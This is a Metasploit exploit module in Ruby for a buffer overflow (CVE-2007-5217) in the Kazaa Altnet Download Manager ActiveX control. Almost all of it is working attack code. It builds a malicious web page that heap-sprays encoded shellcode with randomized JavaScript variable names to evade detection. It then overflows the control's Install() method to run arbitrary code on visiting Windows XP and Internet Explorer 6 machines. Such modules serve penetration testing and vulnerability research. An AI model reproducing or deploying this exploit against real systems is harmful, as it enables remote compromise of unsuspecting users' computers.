Kazaa Altnet Download Manager ActiveX Control Buffer Overflow



##

# $Id: kazaa_altnet_heap.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Kazaa Altnet Download Manager ActiveX Control Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in the Altnet Download Manager ActiveX
                Control (amd4.dll) bundled with Kazaa Media Desktop 3.2.7.
                By sending a overly long string to the "Install()" method, an attacker may be
                able to execute arbitrary code.
            },
            'License'        => MSF_LICENSE,
            'Author'         => [ 'MC' ],
            'Version'        => '$Revision: 9262 $',
            'References'     =>
                [
                    [ 'CVE', '2007-5217' ],
                    [ 'OSVDB', '37785' ],
                    [ 'URL', 'http://secunia.com/advisories/26970/' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'         => 1024,
                    'BadChars'      => "\x00",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP SP0-SP2 / IE 6.0SP1 English', { 'Ret' => '\x0c\x0c\x0c\x0c' } ]
                ],
            'DisclosureDate' => 'Oct 3 2007',
            'DefaultTarget'  => 0))
    end

    def autofilter
        false
    end

    def check_dependencies
        use_zlib
    end

    def on_request_uri(cli, request)
        # Re-generate the payload
        return if ((p = regenerate_payload(cli)) == nil)

        # Encode the shellcode
        shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

        # Create some nops
        nops = Rex::Text.to_unescape(make_nops(4))

        # Randomize the javascript variable names
        vname  = rand_text_alpha(rand(100) + 1)
        var_i  = rand_text_alpha(rand(30)+2)
        rand1  = rand_text_alpha(rand(100) + 1)
        rand2  = rand_text_alpha(rand(100) + 1)
        rand3  = rand_text_alpha(rand(100) + 1)
        rand4  = rand_text_alpha(rand(100) + 1)
        rand5  = rand_text_alpha(rand(100) + 1)
        rand6  = rand_text_alpha(rand(100) + 1)
        rand7  = rand_text_alpha(rand(100) + 1)
        rand8  = rand_text_alpha(rand(100) + 1)

        # Build out the message
        content =
            "<html>\n" +
            "<object classid='clsid:DEF37997-D9C9-4A4B-BF3C-88F99EACEEC2' id='#{vname}'></object>\n" +
            "<script language='javascript'>\n" +
            "#{rand1} = unescape('#{shellcode}');\n" +
            "#{rand2} = unescape('#{nops}');\n" +
            "#{rand3} = 20;\n" +
            "#{rand4} = #{rand3}+#{rand1}.length\n" +
            "while (#{rand2}.length<#{rand4}) #{rand2}+=#{rand2};\n" +
            "#{rand5} = #{rand2}.substring(0, #{rand4});\n" +
            "#{rand6} = #{rand2}.substring(0, #{rand2}.length-#{rand4});\n" +
            "while(#{rand6}.length+#{rand4}<0x30000) #{rand6} = #{rand6}+#{rand6}+#{rand5};\n" +
            "#{rand7} = new Array();\n" +
            "for (#{var_i}=0; #{var_i}<400; #{var_i}++) #{rand7}[#{var_i}] = #{rand6} + #{rand1};\n" +
            "#{rand8} = '#{target.ret}';\n" +
            "while (#{rand8}.length < 5000) #{rand8}+=#{rand8};\n" +
            "#{vname}.Install(#{vname} ,#{rand8} ,#{vname}, 1);\n" +
            "</script>\n" +
            "</html>"

        content = Rex::Text.randomize_space(content)

        print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

        # Transmit the response to the client
        send_response_html(cli, content)

        # Handle the payload
        handler(cli)
    end

end